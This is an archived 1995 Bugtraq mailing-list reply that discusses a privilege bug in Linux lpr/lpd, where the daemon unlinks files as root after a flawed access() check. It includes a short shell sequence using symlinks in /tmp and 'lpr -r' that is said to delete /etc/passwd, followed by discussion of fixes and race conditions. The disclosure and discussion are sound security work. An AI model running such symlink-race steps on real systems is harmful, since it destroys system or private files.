Bugtraq mailing list archives

Re: [Linux-ISP] lpr(1) bug


From: cschuber () uumail gov bc ca (Cy Schubert - BCSC Open Systems Group)
Date: Fri, 21 Jul 1995 09:06:40 -0700


[mod: we're working on a fix for these problems. --okir]

Quoted from Aleph One:
What fallows is a small (and damm ugly) hack to fix it. All credit goes
to Zygo Blaxell for pointing this out in the linuxisp maling list. A

Uh oh, it's got my name on it.  Better make sure it works...

lpr(1) uses the access system call to determine if the parent directory
of the file is writable by the real uid. If it is, it assumes the file
can be unlinked. The problem arises in that lpr(1) does not check for
directories with the sticky bit set (eg. /tmp).

[ patch deleted]

D'oh!  It doesn't.  :(

The patch doesn't fix the problem at all.  I've included an exploit
script that you can test fixes with; alas, these days all I have time to
do with lpr is rm it.

The lpr/lpd code should be rewritten such that it does not ever use
access (or stat, for that matter).  The access control check should be
done by the OS, and the unlink call should be done with whatever uid/gid
privileges the party invoking lpr had (unless the file to be unlinked is
in the spool directory, of course).  Ditto with the open() call with 'lpr
-s', although I don't know if this is an actual bug in lpr (if it's
implemented the way I think it is, you should be able to print any file
with lpr -s).

The problem is that lpr/lpd invokes unlink() with super-user privileges.
Consider:

      mkdir /tmp/foobar
      ln -s /etc/passwd /tmp/foobar
      lpr big_huge_file
      lpr -r /tmp/foobar/passwd

      rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar
OR    ln -fs /home/private_file /tmp/foobar/passwd # Does this work?

/etc/passwd goes away.

I tried this on my Infomagic Slackware 2.2 and /etc/passwd (actually /etc/foo)
was still there, e.g. I couldn't recreate the problem.  The source code for
lpr/lpd, part of NetKit-B-0.5 had the Berkeley copyright notice on it.  Are we
talking about a different lpr/lpd daemon?  If we are talking about the same
lpr/lpd as in NetKit-B-0.5, and if this only occurs during a race condition that
has been mentioned in previous posts, this problem should be realized on any BSD
based system.


Even if the access() check was moved closer to the unlink call, there is
still a race condition in the code (explaining the exploit would take
another 50 lines of message; essentially it makes 'stat' take about 30
seconds to execute, and demonstrates why race conditions are bad).


Regards,                       Phone:  (604)389-3827
Cy Schubert                    OV/VM:  BCSC02(CSCHUBER)
Open Systems Support          BITNET:  CSCHUBER@BCSC02.BITNET
BC Systems Corp.            Internet:  cschuber () uumail gov bc ca
                                       cschuber () bcsc02 gov bc ca

                "Quit spooling around, JES do it."



Current thread: